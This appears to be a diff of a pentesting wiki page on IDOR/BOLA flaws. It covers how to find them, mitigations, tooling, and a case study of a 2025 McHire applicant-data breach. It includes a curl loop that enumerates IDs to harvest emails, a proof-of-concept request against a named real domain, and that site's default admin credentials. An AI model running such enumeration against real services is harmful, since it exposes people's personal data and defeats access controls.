|
2 | 2 |
|
3 | 3 | {{#include ../banners/hacktricks-training.md}} |
4 | 4 |
|
5 | | -**Check the post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)** |
| 5 | +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appears when a web or API endpoint discloses or accepts a user–controllable identifier that is used **directly** to access an internal object **without verifying that the caller is authorized** to access/modify that object. |
| 6 | +Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other users’ data and, in the worst case, full account takeover or mass-data exfiltration. |
6 | 7 |
|
7 | | -{{#include ../banners/hacktricks-training.md}} |
| 8 | +--- |
| 9 | +## 1. Identifying Potential IDORs |
| 10 | + |
| 11 | +1. Look for **parameters that reference an object**: |
| 12 | + * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` |
| 13 | + * Query: `?id=42`, `?invoice=2024-00001` |
| 14 | + * Body / JSON: `{"user_id": 321, "order_id": 987}` |
| 15 | + * Headers / Cookies: `X-Client-ID: 4711` |
| 16 | +2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`). |
| 17 | +3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists. |
| 18 | +4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs. |
| 19 | +5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR. |
| 20 | + |
| 21 | +### Quick manual tampering (Burp Repeater) |
| 22 | +``` |
| 23 | +PUT /api/lead/cem-xhr HTTP/1.1 |
| 24 | +Host: www.example.com |
| 25 | +Cookie: auth=eyJhbGciOiJIUzI1NiJ9... |
| 26 | +Content-Type: application/json |
| 27 | +
|
| 28 | +{"lead_id":64185741} |
| 29 | +``` |
| 30 | + |
| 31 | +### Automated enumeration (Burp Intruder / curl loop) |
| 32 | +```bash |
| 33 | +for id in $(seq 64185742 64185700); do |
| 34 | + curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ |
| 35 | + -H 'Content-Type: application/json' \ |
| 36 | + -H "Cookie: auth=$TOKEN" \ |
| 37 | + -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; |
| 38 | +done |
| 39 | +``` |
| 40 | + |
| 41 | +--- |
| 42 | +## 2. Real-World Case Study – McHire Chatbot Platform (2025) |
| 43 | + |
| 44 | +During an assessment of the Paradox.ai-powered **McHire** recruitment portal the following IDOR was discovered: |
8 | 45 |
|
| 46 | +* Endpoint: `PUT /api/lead/cem-xhr` |
| 47 | +* Authorization: user session cookie for **any** restaurant test account |
| 48 | +* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier |
9 | 49 |
|
| 50 | +By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records. |
| 51 | + |
| 52 | +Proof-of-Concept request: |
| 53 | +```bash |
| 54 | +curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ |
| 55 | + -H 'Content-Type: application/json' \ |
| 56 | + -d '{"lead_id":64185741}' |
| 57 | +``` |
| 58 | + |
| 59 | +Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. |
| 60 | + |
| 61 | +--- |
| 62 | +## 3. Impact of IDOR / BOLA |
| 63 | +* Horizontal escalation – read/update/delete **other users’** data. |
| 64 | +* Vertical escalation – low privileged user gains admin-only functionality. |
| 65 | +* Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices). |
| 66 | +* Account takeover by stealing tokens or resetting passwords of other users. |
| 67 | + |
| 68 | +--- |
| 69 | +## 4. Mitigations & Best Practices |
| 70 | +1. **Enforce object-level authorization** on every request (`user_id == session.user`). |
| 71 | +2. Prefer **indirect, unguessable identifiers** (UUIDv4, ULID) instead of auto-increment IDs. |
| 72 | +3. Perform authorization **server-side**, never rely on hidden form fields or UI controls. |
| 73 | +4. Implement **RBAC / ABAC** checks in a central middleware. |
| 74 | +5. Add **rate-limiting & logging** to detect enumeration of IDs. |
| 75 | +6. Security test every new endpoint (unit, integration, and DAST). |
| 76 | + |
| 77 | +--- |
| 78 | +## 5. Tooling |
| 79 | +* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. |
| 80 | +* **OWASP ZAP**: Auth Matrix, Forced Browse. |
| 81 | +* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). |
| 82 | + |
| 83 | +{{#include ../banners/hacktricks-training.md}} |
10 | 84 |
|
| 85 | +## References |
| 86 | +* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) |
| 87 | +* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) |
| 88 | +* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) |
| 89 | +{{#include /banners/hacktricks-training.md}} |
0 commit comments